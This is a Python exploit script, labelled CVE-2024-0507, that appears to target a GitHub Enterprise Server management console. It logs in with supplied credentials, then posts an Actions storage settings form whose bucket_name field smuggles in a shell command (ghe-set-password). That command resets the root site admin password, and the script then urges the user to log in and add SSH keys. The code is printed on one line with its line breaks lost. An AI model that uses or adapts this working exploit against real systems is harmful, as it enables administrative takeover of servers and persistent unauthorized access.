import sys import time import requests import argparse from bs4 import BeautifulSoup import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def get_csrf_token(session, login_url): """Fetch CSRF token from the login page.""" response = session.get(login_url, verify=False) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': '_csrf'})['value'] return csrf_token def login(session, login_url, username, password, csrf_token): """Send a POST request to login using the provided credentials and CSRF token.""" data = { '_csrf': csrf_token, 'username': username, 'password': password } response = session.post(login_url, data=data, verify=False) return 'sign-out-link' in response.text def test_settings(session, settings_url, settings_data): """Send a POST request to test some settings.""" response = session.post(settings_url, data=settings_data, verify=False) #print(response.text) return response def get_test_status(session, settings_actions_status_url): """Fetch Test Status.""" response = session.get(settings_actions_status_url, verify=False) #print(response.text) return response.json()['status'] def main(): # Parse command line arguments parser = argparse.ArgumentParser(description='CVE-2024-0507 exploit') parser.add_argument('target', type=str, help='Target base URL') parser.add_argument('username', type=str, help='Username for login') parser.add_argument('password', type=str, help='Password for login') args = parser.parse_args() target = args.target.rstrip('/') # URLs setup login_url = f'{target}/setup/unlock' settings_url = f'{target}/setup/unlock' settings_actions_url = f'{target}/setup/settings/test/storage/actions' settings_actions_status_url = f'{target}/setup/settings/test/storage/actions/status' # Create a session object with requests.Session() as session: # Step 1: Get CSRF token csrf_token = get_csrf_token(session, login_url) print("CSRF Token:", csrf_token) # Step 2: Login login_response = login(session, login_url, args.username, args.password, csrf_token) # Assuming successful login, proceed to test settings if login_response: # Step 3: Get settings CSRF token csrf_token = get_csrf_token(session, settings_url) print("CSRF Token:", csrf_token) # Prepare settings data settings_data = { '_csrf': csrf_token, 'actions_storage[blob_provider]': 's3', 'actions_storage[auth_type]': 'oidc', 'actions_storage[s3_oidc][bucket_name]': '\'; echo \'new-root-site-admin-password\' | ghe-set-password; x=\'', 'actions_storage[s3_oidc][role_arn]': 'xxx', 'actions_storage[s3_oidc][region]': 'yyy', 'actions_storage[enterprise_identifier]': 'zzz', } # Step 4: Trigger command injection settings_response = test_settings(session, settings_actions_url, settings_data) print("Settings Test Response Status Code:", settings_response.status_code) print("Wait some seconds for the command to be run...") while get_test_status(session, settings_actions_status_url) == 'InProgress': sys.stdout.write(".") sys.stdout.flush() time.sleep(1) print("\nCommand executed! Now you can login as site admin using password 'new-root-site-admin-password' and add your SSH keys") else: print("Login failed.") if __name__ == '__main__': main()